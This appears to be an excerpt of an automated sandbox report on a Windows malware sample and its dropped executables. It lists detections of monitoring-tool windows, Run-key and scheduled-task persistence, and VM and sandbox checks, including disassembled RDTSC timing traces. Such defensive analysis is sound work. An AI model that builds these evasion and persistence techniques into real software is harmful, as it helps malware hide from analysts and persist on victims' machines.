Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	Window searched: window name: PROCMON_WINDOW_CLASS

Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6cadd3f0fd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 6cadd3f0fd.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1171a5b648.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 1171a5b648.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 275df0ca27.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 275df0ca27.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run num.exe	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\AutoUpdate	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key monitored for changes: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Source: C:\Users\user\Desktop\file.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\1002778001\275df0ca27.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Users\user\Desktop\file.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	System information queried: FirmwareTableInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	System information queried: FirmwareTableInformation

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QPHIWB3GKESEWV8SSDAQV1GC2I70.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\EUB426480Z8XTJ7PLZ2E322TJ3DJ4.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: HKEY_CURRENT_USER\Software\Wine	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002776001\6cadd3f0fd.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\1002777001\1171a5b648.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\A5RXP2EPUMEJDLAL7A3JI.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\AppData\Local\Temp\B1DZUXGXMC4OXONLCU5KVQ.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38C9F5 second address: 38C9F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BBCE second address: 38BBDE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jc 00007F856102FBE6h 0x0000000e push esi 0x0000000f pop esi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BD00 second address: 38BD10 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push ecx 0x00000008 jl 00007F856106A856h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BD10 second address: 38BD15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BFF6 second address: 38BFFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38BFFA second address: 38C00C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBEBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EA42 second address: 20E9D4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A868h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 10539002h 0x00000010 mov esi, dword ptr [ebp+122D36A0h] 0x00000016 push dword ptr [ebp+122D0931h] 0x0000001c push 00000000h 0x0000001e push edi 0x0000001f call 00007F856106A858h 0x00000024 pop edi 0x00000025 mov dword ptr [esp+04h], edi 0x00000029 add dword ptr [esp+04h], 0000001Dh 0x00000031 inc edi 0x00000032 push edi 0x00000033 ret 0x00000034 pop edi 0x00000035 ret 0x00000036 xor edi, 49785D2Fh 0x0000003c call dword ptr [ebp+122D3547h] 0x00000042 pushad 0x00000043 jc 00007F856106A862h 0x00000049 jg 00007F856106A85Ch 0x0000004f xor eax, eax 0x00000051 jnp 00007F856106A857h 0x00000057 cld 0x00000058 mov edx, dword ptr [esp+28h] 0x0000005c clc 0x0000005d mov dword ptr [ebp+122D36F8h], eax 0x00000063 mov dword ptr [ebp+122D1D2Ah], eax 0x00000069 mov esi, 0000003Ch 0x0000006e ja 00007F856106A857h 0x00000074 clc 0x00000075 add esi, dword ptr [esp+24h] 0x00000079 xor dword ptr [ebp+122D1D6Eh], ecx 0x0000007f lodsw 0x00000081 jmp 00007F856106A867h 0x00000086 add eax, dword ptr [esp+24h] 0x0000008a jmp 00007F856106A85Ah 0x0000008f mov ebx, dword ptr [esp+24h] 0x00000093 add dword ptr [ebp+122D1D2Ah], ecx 0x00000099 cmc 0x0000009a push eax 0x0000009b pushad 0x0000009c jl 00007F856106A85Ch 0x000000a2 push eax 0x000000a3 push edx 0x000000a4 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EAD0 second address: 38EAFB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 jmp 00007F856102FBEBh 0x0000000b nop 0x0000000c mov dl, D9h 0x0000000e push 00000000h 0x00000010 adc edi, 733641EAh 0x00000016 push 634714D7h 0x0000001b push eax 0x0000001c push edx 0x0000001d push edi 0x0000001e jnp 00007F856102FBE6h 0x00000024 pop edi 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EAFB second address: 38EB00 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EB00 second address: 38EB55 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 xor dword ptr [esp], 63471457h 0x0000000e and edi, dword ptr [ebp+122D36DCh] 0x00000014 mov esi, dword ptr [ebp+122D3858h] 0x0000001a push 00000003h 0x0000001c movsx ecx, cx 0x0000001f push 00000000h 0x00000021 push ecx 0x00000022 mov cl, 3Ch 0x00000024 pop edi 0x00000025 push 00000003h 0x00000027 push 00000000h 0x00000029 push eax 0x0000002a call 00007F856102FBE8h 0x0000002f pop eax 0x00000030 mov dword ptr [esp+04h], eax 0x00000034 add dword ptr [esp+04h], 0000001Bh 0x0000003c inc eax 0x0000003d push eax 0x0000003e ret 0x0000003f pop eax 0x00000040 ret 0x00000041 cmc 0x00000042 push 6072199Eh 0x00000047 push edi 0x00000048 push eax 0x00000049 push edx 0x0000004a push eax 0x0000004b push edx 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EB55 second address: 38EB59 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EB59 second address: 38EB88 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F856102FBE6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b add dword ptr [esp], 5F8DE662h 0x00000012 jmp 00007F856102FBEAh 0x00000017 lea ebx, dword ptr [ebp+12453935h] 0x0000001d sub dword ptr [ebp+122D29BDh], edi 0x00000023 xchg eax, ebx 0x00000024 push eax 0x00000025 push edx 0x00000026 push ecx 0x00000027 push ecx 0x00000028 pop ecx 0x00000029 pop ecx 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EB88 second address: 38EBD5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856106A861h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007F856106A863h 0x00000011 jmp 00007F856106A85Bh 0x00000016 popad 0x00000017 pushad 0x00000018 jmp 00007F856106A863h 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EEB7 second address: 38EED7 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jc 00007F856102FBE6h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F856102FBF1h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 38EED7 second address: 38EEF1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F856106A866h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385B11 second address: 385B3D instructions: 0x00000000 rdtsc 0x00000002 js 00007F856102FBE6h 0x00000008 jg 00007F856102FBE6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 jmp 00007F856102FBF9h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 385B3D second address: 385B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 js 00007F856106A856h 0x0000000f pushad 0x00000010 popad 0x00000011 pushad 0x00000012 popad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE118 second address: 3AE11D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE3EF second address: 3AE3F3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AE857 second address: 3AE86E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F856102FBEDh 0x00000007 jng 00007F856102FBE6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEAEF second address: 3AEB09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F856106A85Bh 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F856106A856h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEB09 second address: 3AEB0F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEC6E second address: 3AEC74 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AEC74 second address: 3AEC7A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF1CE second address: 3AF1D2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF1D2 second address: 3AF1D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF1D8 second address: 3AF20C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jng 00007F856106A85Ch 0x0000000c jmp 00007F856106A85Dh 0x00000011 popad 0x00000012 pushad 0x00000013 jmp 00007F856106A85Eh 0x00000018 push edi 0x00000019 pushad 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF97D second address: 3AF983 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3AF983 second address: 3AF99E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856106A867h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B00C0 second address: 3B00C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B00C4 second address: 3B00C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B236E second address: 3B2390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007F856102FBEEh 0x0000000b jmp 00007F856102FBECh 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B4C36 second address: 3B4C3C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3B540D second address: 3B5411 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BCE41 second address: 3BCE49 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 380B18 second address: 380B2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F856102FBF2h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 380B2E second address: 380B3B instructions: 0x00000000 rdtsc 0x00000002 jng 00007F856106A856h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 380B3B second address: 380B45 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push edx 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 380B45 second address: 380B51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 push edx 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 380B51 second address: 380B57 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 3BC394 second address: 3BC39A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
